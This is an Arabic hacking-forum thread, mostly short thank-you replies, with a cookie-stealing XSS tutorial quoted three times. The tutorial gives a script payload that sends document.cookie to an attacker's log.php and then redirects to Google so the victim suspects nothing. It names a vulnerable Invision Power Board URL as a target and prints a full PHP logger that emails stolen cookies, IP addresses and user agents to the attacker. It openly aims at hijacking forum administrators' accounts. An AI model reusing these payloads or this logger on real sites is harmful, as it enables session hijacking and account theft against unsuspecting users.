
- - - تم التحديث - - -

مشكوووووووووووووووور

- - - تم التحديث - - -

مشكوووووووووووووووور

[الهاكر الاماراتي]

مشكور و جزاك الله خير

- - - تم التحديث - - -

مشكورررررررررر

[داعم فنى]

شكرا لك اخوى وجارى المتابعه

- - - تم التحديث - - -


تسلم يا غالى :):)

[علي البعاج]

مشكوووووووووووووووووور

[aymanho]

بارك الله فيك على الموضوع المميز

[farissi mohssin]

بارك الله فيك

[ElSyad]

تسلم ايديك شرح بسيط ومفيد !

[shadow_tdk]

مشكووووووور على الشرح الرائع

[!! FiGo !!]

بارك الله فيك اخي

- - - تم التحديث - - -

بارك الله فيك اخي على الشرح الرائع

[KADEME]

شكرا لك يا أخي

[sat-doura]

gooooood man

- - - تم التحديث - - -

thank you man

[abdouni33]

mashkoooooor

[ayman msh]

مشكوووووووووووووووور

- - - تم التحديث - - -

مشكووووووووووووووور

[samirqo]

مشكوووووووووووووووور

- - - تم التحديث - - -

مشكوووووووووووووووور
ح

[الهكرز1]

كبير
واصل بدون فواصل يا ملك

[ox.hack]

مشكووووووووووور

- - - تم التحديث - - -


جــزاك الله خيرا:)

[mgod]

استمر keep going

- - - تم التحديث - - -

مبدع شرح وافي

[ayman msh]

جزاك الله كل خير اخي

- - - تم التحديث - - -

بارك الله فيك اخي ان شاء الله كله في ميزان حسناتك;)

[قناص~الغلا]

:biggrin:;;;;;;;;;;;;;;;

[GhoOost]

مشششششششششششششششششششششششش شششششششششكور

[انس الشحروري]

الله يعطيك العافيه :)

- - - تم التحديث - - -

الله يعطيك العافيه :) :)

[محمد الفسكاوى]

بارك الله فيك اخى انت بجد رائع

[ahlywad]

tHanKs foR You ~>

- - - تم التحديث - - -

شكرا لك اخى على الشرح الخفيف والمميز والمفيد

[Fosfory Hacker]

ييييييييشيشيش

[mohssine54]

merciiiiiiiiiiiiiiiiiiiiiiiiii habibi

- - - تم التحديث - - -

مشكور ويعطيك ألف عافيه

- - - تم التحديث - - -

مشكور ويعطيك ألف عافيه

[kuro-sawa]

thaaaaaaanks

- - - تم التحديث - - -

تسلم يا غالي :biggrin:

[hani xavi]

بارك الله فيك

[Athina]

بارك الله فيك اخي

[انشاء الله محترف باك تراك]

مشكوووور واصل ابداعك

[Timoosz]

مششكور لاهنت

[spamer]

merciiiiiiiiii

- - - تم التحديث - - -

merciiiiiiiii

[ox.hack]

شكرا على المجهود
واصـل


- - - تم التحديث - - -


جزاك الله خيرا

[hammaridha]

بارك الله فيك أخي

- - - تم التحديث - - -

بارك الله فيك أخي الكريم

[ahmed.asso]

الله يخلييك يا غاالي

[nabil-b13]

شرح جميل مشكور

- - - تم التحديث - - -

شرح جميل و بسيط مشكور

[mehdilarbi57]

merciiiiiiiiiiiiiiiiiii

[aMoOoRe sh]

بارك الله فيك

[MEGAlodon KSA]

بارك الله فيك

- - - تم التحديث - - -

:eek:مجهود رائع والل:eek:

[مهدي-هكر]

شكراااااااا يا كبييير

- - - تم التحديث - - -

الله يبارك فيك و يجازيك ألف خير

- - - تم التحديث - - -

لا يظهر لي أي شيئ رديت و ما بيظهر شي

[lbrens]

شكرااااااااا

[AYOUBPOP5]

gooooooooooooooooooood

- - - تم التحديث - - -

gooooooooooood job brother

- - - تم التحديث - - -

gooooooooooooooooooooooooood bro

- - - تم التحديث - - -

nice we wait youuuuur best bro

- - - تم التحديث - - -

n nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn

[zizo-alg2011]

شكرا لك اخي الكريم

[saifi161]

بارك الله فيك اخي

[silver_ghost_1]

مشكور والله يعطيك العافيه
نتظر جديدك

[الكوندور]

مشكوووووووووووووووووووور

[azlar150]

Thankksss broooo :)

- - - تم التحديث - - -

thanks bro

[sinoba30]

Mercer Bcp

- - - تم التحديث - - -

http://photosbuysell.com/video-buy.php?id=-8

[xarmax]

مشكوووووووووووووووور

[mahdiphp]

Thank You Very Mush

- - - تم التحديث - - -

Thank You Man :biggrin:

[Timoosz]

مششكور لاهنت

[انشاء الله محترف باك تراك]

يعطيك الف عافيه انشاء الله تكون في ميزان حسانتك وصل ابداعك بارك الله فيك

[Jordan Ghost]

جميل بارك الله فيك

[Tiger Killer]

مبدع يآ آسد بآرك آلله فيك !~

[zouhaire]

مشكووووووووووور على هذا المجهود الرائع !!!!!

[spamer]

merciii bzaaaaf

- - - تم التحديث - - -

mercii l3achra :)

[RekoJ]

مشكوووووووووور

- - - تم التحديث - - -

مشكوووووووووووووووووووووو ووور

[hithemlion]

شكررراااا يارب تكون مفيده

[hackerman31]

مشكوووووووووووووووور

[razakghardaia]

thank uu bro :)

- - - تم التحديث - - -

شكرا لك اخي لكني لا استطيع رؤية المحتوى بعد الرد :mad:

- - - تم التحديث - - -

ييييييييييييييييييييييييي يييييييييييييييييييي

- - - تم التحديث - - -

ييييييييييييييييييييييييي يييييي

[wArD sYr 001]

مشكوووووووووووووووووووور

- - - تم التحديث - - -

شكرا على الشرح

[khemgani]

مجهود كبير يستحق التقدير
بارك الله فيك أخي الكريم

[moujahed boy]

:cool: thnxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

[hackerman31]

مشكوووووووووووووووور

[Mekano]

شرح جميل و بسيط مشكور

[كاسر المشاعر]

الله يعطيك العافية.................................

[dvhma]

thanxxxxxxxxxxxx

[مجحف الضواري]

lu مع جزيل الشكر والتقدير

- - - تم التحديث - - -

شكر لك :tongue::biggrin::eek::mad::mad::mad::mad::mad::ma d::mad::mad::mad::mad::mad::mad:

[xsimox]

مشكور ويعطيك ألف عافيه

:)

[princo hacker]

مشكوور يعطيك العافيةة

- - - تم التحديث - - -

مشكور يعطيك الف عافية

[tbolbie]

جمييييييييييييييييييييييي يييييييييييييييل

[amine sharko]

مـــــــــــــــــــشــــ ــــــــكوووووووووووووووو ر

- - - تم التحديث - - -

;):mad::biggrin::eek::):wink::confused:مــــ� �ــــــــــــــشـــــــــ� �ــكوووووووووووووووور:cool::(: redface::tongue:;):(:):wink::cool:<3 <3 <3 <3 <3 <3 <3 <3 <3

[commanderegy]

السلام عليكم ورحمه الله وبركاته ,,

الان هذا اول درس لي بهذا القسمبعد الغياب وهو يتكلم عن كيفيه عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط ثغرات
xss

طيب نأتي الان الى الكود المهم في عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط xss

هذا كود سكربت خبيث يأتي بمعلومات الكوكيز تجده دائما ً في عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقطxss
كود PHP:

**********javascript:alert(document.******)</Script>


الأن الكود هذا لم يكون بالثغره سوف يظهر لك الكوكيز تبعك وهو يحتوي على نقاط مهمه وهي :
1- رقم العضويه
2- الباسورد مشفر md5
3 - الباسورد مشفر Hash

ورقم الاستايل وغيره ,, على حسب نوعيه البرنامج المصاب!

طيب الحين وجدت هذا الكود سوف نربطه باللوج

ماهو اللوج ؟
اللوج هذا تربطه مع السكربت الذي ياتي بالكوكيز ,, وبعد ان تربطه كل من فتح السكربت وهو مربوط باللوج سوف يسجل معلومات الكوكيز تبعه باللوج او يرسل الى ايميلك ( على حسب اللوج )

طيب الان بعد ما ربطته اصبح الرابط :
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?id="+document.******</Script>


تمام الان :
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط = الموقع المربوط فيه اللوج
log.php = اسم ملف اللوج
طيب الحين نرفع اللوج على اي موقع عندك وبعد كذا تستبدل
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط برابط اللوج الي عندك

المهم الان هذا السكربت اصبح جاهزا للاستعمال سوف نضعه بكود الثغره ونستبدل :
كود PHP:

**********javascript:alert(document.******)</Script>


بـ
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?id="+document.******</Script>


الان نخلي مثلا المدير العام او اي عضو تبي تسرق الكوكيز تبعه انه يفتح الرابط

بتقول كيف بقولك ياااولد انت وراااااسك(6) عاد بطريقتك خليه يفتح الرابط

طيب الحين بتقولي والله فضيحه يابو خالد لم اخليه يفتح الرابط يطلع عنده اللوج وبيكشفني

بقوله ولا يهمك اخوي نربطه كمان بموقع للتمويه

مثلا نربطه بموقع عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط بحيث انه لم يفتح الثغره والمربوط فيها اللوج وموقع جوجل راح يتحول اوتوماتيك الى جوجل http://www.3asfh.net/vb/images/smilies/0056.gif (http://www.alqobor.com/vb/showthread.php?t=31313) وبكذا مايشك

بتقول كيف يابو خالد بقولك كذا نضع بعد رابط اللوج :
re=www.google.com&
بس http://www.3asfh.net/vb/images/smilies/0056.gif (http://www.alqobor.com/vb/showthread.php?t=31313)
بحيث يكون بعد & يوجد id ... الخ
يعني يكون الكود :
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?re=www.google.com&id="+document.******</Script>


طبعا انت استبدل عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط باي موقع تبغاه ويفضل يكون الموقع الي مصاب فيه الثغره (1)

طيب الحين تقول كذا تمام يابو خالد يالله عطنا مثااال

بعطيكم مثال لثغره الي اكتشفتها انا بمنتديات :Invision Power Board

الكود للثغره :
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط '>**********alert(document.******)</script>
احنا راح نستبدل :
كود PHP:

**********javascript:alert(document.******)</Script>


بـ
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?re=www.google.com&id="+document.******</Script>


واستبدل هنا موقع جوجل باي موقع تبغاه

ورابط اللوج عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط باللوج تبعك

====================
تطبيق :

التطبيق هنا :
كود PHP:

http://www.mahrum.com/forums/index.php?act=idx='>**********alert(document.******) </script>


===================
اللوج :
كود PHP:

<?php
// Thnx For Security 4 Arab - عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط - عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط
//----- S4a Logger v0.10 -----//
// Star
//Your Email --::--
$ToGet = "[email protected]";
////////////////////////////////
$Ip = $REMOTE_ADDR;
$Sys = $HTTP_USER_AGENT;
//////////////////////////////////////////////
if($ToGet == ''){echo 'Edit Your Email Befor You Use Me !!'; exit();}
//
$Time = date("l dS of F Y h:i:s A");

$Hdr = 'From: Logger <logger@secourty>';

$Msg = '
Hi ,, Mr.Attacker :D
-------------------------------------------
- Thnx For S4a ,, Security For Arab Forum -
- s4a -
- s4a froum -
---------------------------------------------------------------------
- This Script Coded By Devil-00 [ Devil From Palestine ] -
- <[email protected]><[email protected]><devil0f0p@ya hoo.com> -
---------------------------------------------------------------------
- IP ::- [ ' .$Ip.' ]
- System ::- [ '.$Sys.' ]
- The ****** ::- [ '.$id.' ]
- Time ::- [ '.$Time.' ]
---------------------------------------------------------------------
- root@devil00 ~ ./evilcat /etc/passwd -
- root@devil00 ~ ./s4acracker passwd --log <log.log> && -
---------------------------------------------------------------------
';
$send = mail($ToGet,'S4a - [ New****** ]',$Msg,$Hdr);
//
/* &@#&@#&@#&@#&@#&@#&@# code ,, By Devil-00 [ 25/5/2005 ] << v0.10 */
if(isset($_GET["re"])){
$&@#&@#&@#&@#&@#&@#&@# = $_GET["re"];
if($&@#&@#&@#&@#&@#&@#&@# == ""){
mail ($ToGet,'S4a - [Error]','&@#&@#&@#&@#&@#&@#&@# Is Set And Its Empty !!',$Hdr);
}else{
header("location:".$&@#&@#&@#&@#&@#&@#&@#);
}
}
//
?>

استبدل هنا :
كود PHP:

$ToGet = "[email protected]";


الايميل: عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط
بالايميل تبعك !

واحفظه بامتداد php طبعا افتح المفكره وحط الكود ولاتنسى تغير اع التطبيق الا لانه درس عملي فقط لا أكثر ..

وبإمكانك استغلاله بثغره xss تبع cPanel
وغيرها من عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط xss








راااااااااااااااااااااااا اااااااااااااااااائع

[amine sharko]

mrc mrc boooooooooooko

[joker palistaine]

مشكوووووور يا غالي

- - - تم التحديث - - -

شكرا والله بطل استمر

[NEXTGENHACKER]

مشكوووووووووووووووووووووو وووور

[mapoli]

مشكوووووووووووووووور

[Zgamer]

مشكوور الحقيقة أفدتنييي كثييرا

[farissi mohssin]

بـــــارك اللـــــــــه فــــك أخـــــــــــــــي

[momomoy]

شكراااااااااااااااااااااا ااااااااااااااااااااااااا اااااااااا

[commanderegy]

السلام عليكم ورحمه الله وبركاته ,,

الان هذا اول درس لي بهذا القسمبعد الغياب وهو يتكلم عن كيفيه عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط ثغرات
xss

طيب نأتي الان الى الكود المهم في عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط xss

هذا كود سكربت خبيث يأتي بمعلومات الكوكيز تجده دائما ً في عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقطxss
كود PHP:

**********javascript:alert(document.******)</Script>


الأن الكود هذا لم يكون بالثغره سوف يظهر لك الكوكيز تبعك وهو يحتوي على نقاط مهمه وهي :
1- رقم العضويه
2- الباسورد مشفر md5
3 - الباسورد مشفر Hash

ورقم الاستايل وغيره ,, على حسب نوعيه البرنامج المصاب!

طيب الحين وجدت هذا الكود سوف نربطه باللوج

ماهو اللوج ؟
اللوج هذا تربطه مع السكربت الذي ياتي بالكوكيز ,, وبعد ان تربطه كل من فتح السكربت وهو مربوط باللوج سوف يسجل معلومات الكوكيز تبعه باللوج او يرسل الى ايميلك ( على حسب اللوج )

طيب الان بعد ما ربطته اصبح الرابط :
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?id="+document.******</Script>


تمام الان :
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط = الموقع المربوط فيه اللوج
log.php = اسم ملف اللوج
طيب الحين نرفع اللوج على اي موقع عندك وبعد كذا تستبدل
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط برابط اللوج الي عندك

المهم الان هذا السكربت اصبح جاهزا للاستعمال سوف نضعه بكود الثغره ونستبدل :
كود PHP:

**********javascript:alert(document.******)</Script>


بـ
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?id="+document.******</Script>


الان نخلي مثلا المدير العام او اي عضو تبي تسرق الكوكيز تبعه انه يفتح الرابط

بتقول كيف بقولك ياااولد انت وراااااسك(6) عاد بطريقتك خليه يفتح الرابط

طيب الحين بتقولي والله فضيحه يابو خالد لم اخليه يفتح الرابط يطلع عنده اللوج وبيكشفني

بقوله ولا يهمك اخوي نربطه كمان بموقع للتمويه

مثلا نربطه بموقع عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط بحيث انه لم يفتح الثغره والمربوط فيها اللوج وموقع جوجل راح يتحول اوتوماتيك الى جوجل http://www.3asfh.net/vb/images/smilies/0056.gif (http://www.alqobor.com/vb/showthread.php?t=31313) وبكذا مايشك

بتقول كيف يابو خالد بقولك كذا نضع بعد رابط اللوج :
re=www.google.com&
بس http://www.3asfh.net/vb/images/smilies/0056.gif (http://www.alqobor.com/vb/showthread.php?t=31313)
بحيث يكون بعد & يوجد id ... الخ
يعني يكون الكود :
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?re=www.google.com&id="+document.******</Script>


طبعا انت استبدل عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط باي موقع تبغاه ويفضل يكون الموقع الي مصاب فيه الثغره (1)

طيب الحين تقول كذا تمام يابو خالد يالله عطنا مثااال

بعطيكم مثال لثغره الي اكتشفتها انا بمنتديات :Invision Power Board

الكود للثغره :
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط '>**********alert(document.******)</script>
احنا راح نستبدل :
كود PHP:

**********javascript:alert(document.******)</Script>


بـ
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?re=www.google.com&id="+document.******</Script>


واستبدل هنا موقع جوجل باي موقع تبغاه

ورابط اللوج عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط باللوج تبعك

====================
تطبيق :

التطبيق هنا :
كود PHP:

http://www.mahrum.com/forums/index.php?act=idx='>**********alert(document.******) </script>


===================
اللوج :
كود PHP:

<?php
// Thnx For Security 4 Arab - عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط - عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط
//----- S4a Logger v0.10 -----//
// Star
//Your Email --::--
$ToGet = "[email protected]";
////////////////////////////////
$Ip = $REMOTE_ADDR;
$Sys = $HTTP_USER_AGENT;
//////////////////////////////////////////////
if($ToGet == ''){echo 'Edit Your Email Befor You Use Me !!'; exit();}
//
$Time = date("l dS of F Y h:i:s A");

$Hdr = 'From: Logger <logger@secourty>';

$Msg = '
Hi ,, Mr.Attacker :D
-------------------------------------------
- Thnx For S4a ,, Security For Arab Forum -
- s4a -
- s4a froum -
---------------------------------------------------------------------
- This Script Coded By Devil-00 [ Devil From Palestine ] -
- <[email protected]><[email protected]><devil0f0p@ya hoo.com> -
---------------------------------------------------------------------
- IP ::- [ ' .$Ip.' ]
- System ::- [ '.$Sys.' ]
- The ****** ::- [ '.$id.' ]
- Time ::- [ '.$Time.' ]
---------------------------------------------------------------------
- root@devil00 ~ ./evilcat /etc/passwd -
- root@devil00 ~ ./s4acracker passwd --log <log.log> && -
---------------------------------------------------------------------
';
$send = mail($ToGet,'S4a - [ New****** ]',$Msg,$Hdr);
//
/* &@#&@#&@#&@#&@#&@#&@# code ,, By Devil-00 [ 25/5/2005 ] << v0.10 */
if(isset($_GET["re"])){
$&@#&@#&@#&@#&@#&@#&@# = $_GET["re"];
if($&@#&@#&@#&@#&@#&@#&@# == ""){
mail ($ToGet,'S4a - [Error]','&@#&@#&@#&@#&@#&@#&@# Is Set And Its Empty !!',$Hdr);
}else{
header("location:".$&@#&@#&@#&@#&@#&@#&@#);
}
}
//
?>

استبدل هنا :
كود PHP:

$ToGet = "[email protected]";


الايميل: عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط
بالايميل تبعك !

واحفظه بامتداد php طبعا افتح المفكره وحط الكود ولاتنسى تغير اع التطبيق الا لانه درس عملي فقط لا أكثر ..

وبإمكانك استغلاله بثغره xss تبع cPanel
وغيرها من عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط xss





راااااااااااااااااااااااا ااااااااااااااااااااااااا ااااااااااااااااااااائع

[coner]

الله يعطيك العافية
جزاك الله خيراً

[Hamada Bader]

لاهنت ويعطيك الف عافيه

[modmen_10]

lمشكووووور

- - - تم التحديث - - -


مشكوووووووووووووور:)

[MT3BHM]

مشكوووووووووووووووووووووو ووووووووووووور

[السوري!]

شكرا لك وبارك الله فيك تستحق تقييم

- - - تم التحديث - - -


السلام عليكم ورحمه الله وبركاته ,,

الان هذا اول درس لي بهذا القسمبعد الغياب وهو يتكلم عن كيفيه عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط ثغرات
xss

طيب نأتي الان الى الكود المهم في عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط xss

هذا كود سكربت خبيث يأتي بمعلومات الكوكيز تجده دائما ً في عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقطxss
كود PHP:

**********javascript:alert(document.******)</Script>


الأن الكود هذا لم يكون بالثغره سوف يظهر لك الكوكيز تبعك وهو يحتوي على نقاط مهمه وهي :
1- رقم العضويه
2- الباسورد مشفر md5
3 - الباسورد مشفر Hash

ورقم الاستايل وغيره ,, على حسب نوعيه البرنامج المصاب!

طيب الحين وجدت هذا الكود سوف نربطه باللوج

ماهو اللوج ؟
اللوج هذا تربطه مع السكربت الذي ياتي بالكوكيز ,, وبعد ان تربطه كل من فتح السكربت وهو مربوط باللوج سوف يسجل معلومات الكوكيز تبعه باللوج او يرسل الى ايميلك ( على حسب اللوج )

طيب الان بعد ما ربطته اصبح الرابط :
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?id="+document.******</Script>


تمام الان :
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط = الموقع المربوط فيه اللوج
log.php = اسم ملف اللوج
طيب الحين نرفع اللوج على اي موقع عندك وبعد كذا تستبدل
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط برابط اللوج الي عندك

المهم الان هذا السكربت اصبح جاهزا للاستعمال سوف نضعه بكود الثغره ونستبدل :
كود PHP:

**********javascript:alert(document.******)</Script>


بـ
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?id="+document.******</Script>


الان نخلي مثلا المدير العام او اي عضو تبي تسرق الكوكيز تبعه انه يفتح الرابط

بتقول كيف بقولك ياااولد انت وراااااسك(6) عاد بطريقتك خليه يفتح الرابط

طيب الحين بتقولي والله فضيحه يابو خالد لم اخليه يفتح الرابط يطلع عنده اللوج وبيكشفني

بقوله ولا يهمك اخوي نربطه كمان بموقع للتمويه

مثلا نربطه بموقع عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط بحيث انه لم يفتح الثغره والمربوط فيها اللوج وموقع جوجل راح يتحول اوتوماتيك الى جوجل http://www.3asfh.net/vb/images/smilies/0056.gif (http://www.alqobor.com/vb/showthread.php?t=31313) وبكذا مايشك

بتقول كيف يابو خالد بقولك كذا نضع بعد رابط اللوج :
re=www.google.com&
بس http://www.3asfh.net/vb/images/smilies/0056.gif (http://www.alqobor.com/vb/showthread.php?t=31313)
بحيث يكون بعد & يوجد id ... الخ
يعني يكون الكود :
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?re=www.google.com&id="+document.******</Script>


طبعا انت استبدل عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط باي موقع تبغاه ويفضل يكون الموقع الي مصاب فيه الثغره (1)

طيب الحين تقول كذا تمام يابو خالد يالله عطنا مثااال

بعطيكم مثال لثغره الي اكتشفتها انا بمنتديات :Invision Power Board

الكود للثغره :
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط '>**********alert(document.******)</script>
احنا راح نستبدل :
كود PHP:

**********javascript:alert(document.******)</Script>


بـ
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?re=www.google.com&id="+document.******</Script>


واستبدل هنا موقع جوجل باي موقع تبغاه

ورابط اللوج عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط باللوج تبعك

====================
تطبيق :

التطبيق هنا :
كود PHP:

http://www.mahrum.com/forums/index.php?act=idx='>**********alert(document.******) </script>


===================
اللوج :
كود PHP:

<?php
// Thnx For Security 4 Arab - عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط - عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط
//----- S4a Logger v0.10 -----//
// Star
//Your Email --::--
$ToGet = "[email protected]";
////////////////////////////////
$Ip = $REMOTE_ADDR;
$Sys = $HTTP_USER_AGENT;
//////////////////////////////////////////////
if($ToGet == ''){echo 'Edit Your Email Befor You Use Me !!'; exit();}
//
$Time = date("l dS of F Y h:i:s A");

$Hdr = 'From: Logger <logger@secourty>';

$Msg = '
Hi ,, Mr.Attacker :D
-------------------------------------------
- Thnx For S4a ,, Security For Arab Forum -
- s4a -
- s4a froum -
---------------------------------------------------------------------
- This Script Coded By Devil-00 [ Devil From Palestine ] -
- <[email protected]><[email protected]><devil0f0p@ya hoo.com> -
---------------------------------------------------------------------
- IP ::- [ ' .$Ip.' ]
- System ::- [ '.$Sys.' ]
- The ****** ::- [ '.$id.' ]
- Time ::- [ '.$Time.' ]
---------------------------------------------------------------------
- root@devil00 ~ ./evilcat /etc/passwd -
- root@devil00 ~ ./s4acracker passwd --log <log.log> && -
---------------------------------------------------------------------
';
$send = mail($ToGet,'S4a - [ New****** ]',$Msg,$Hdr);
//
/* &@#&@#&@#&@#&@#&@#&@# code ,, By Devil-00 [ 25/5/2005 ] << v0.10 */
if(isset($_GET["re"])){
$&@#&@#&@#&@#&@#&@#&@# = $_GET["re"];
if($&@#&@#&@#&@#&@#&@#&@# == ""){
mail ($ToGet,'S4a - [Error]','&@#&@#&@#&@#&@#&@#&@# Is Set And Its Empty !!',$Hdr);
}else{
header("location:".$&@#&@#&@#&@#&@#&@#&@#);
}
}
//
?>

استبدل هنا :
كود PHP:

$ToGet = "[email protected]";


الايميل: عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط
بالايميل تبعك !

واحفظه بامتداد php طبعا افتح المفكره وحط الكود ولاتنسى تغير اع التطبيق الا لانه درس عملي فقط لا أكثر ..

وبإمكانك استغلاله بثغره xss تبع cPanel
وغيرها من عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط xss




شكر على شرح رائع

- - - تم التحديث - - -

ما ظهرت روابط

[meesho]

مشكور يااا خي نتمنى منك المزيد

[commanderegy]

جزاك الله خيرا استمر.... بلتوفيق

[VsemoV]

ماشاء الله عليك زي عادتك

- - - تم التحديث - - -


ماشاء الله مبدع زي عادتك:wink:

[commanderegy]

جزاك الله خيرا...بالتوفيق تحياتي لك

[NEXTGENHACKER]

مشكوووووووور الله يعطيك العافية

[liamssi]

مشكووووووووووووووور و جاااازااك الله عنا كل خير

- - - تم التحديث - - -

مشكوووووووووووووووووووووو ر يا اخي لكن اين الروااااااااااااااابط ؟؟؟؟؟؟؟

[هكر ديراوي]

يسلم ايديك

رائع

آستمــــــــــر

[yahya22]

مبــدع انت تستاهل كل خير

[The $niper]

مشكورررررررررررر

[viva_gaza]

thaaaaaaaaaaaaaaaaaaaaaaaaaanx man

- - - تم التحديث - - -

thaaaaaaaaaaaaaaaaaaanx man

[tabarkoinou]

:wink::):wink::)

[stoko]

gooooooooooooooooooood
الله يعطيك العافيه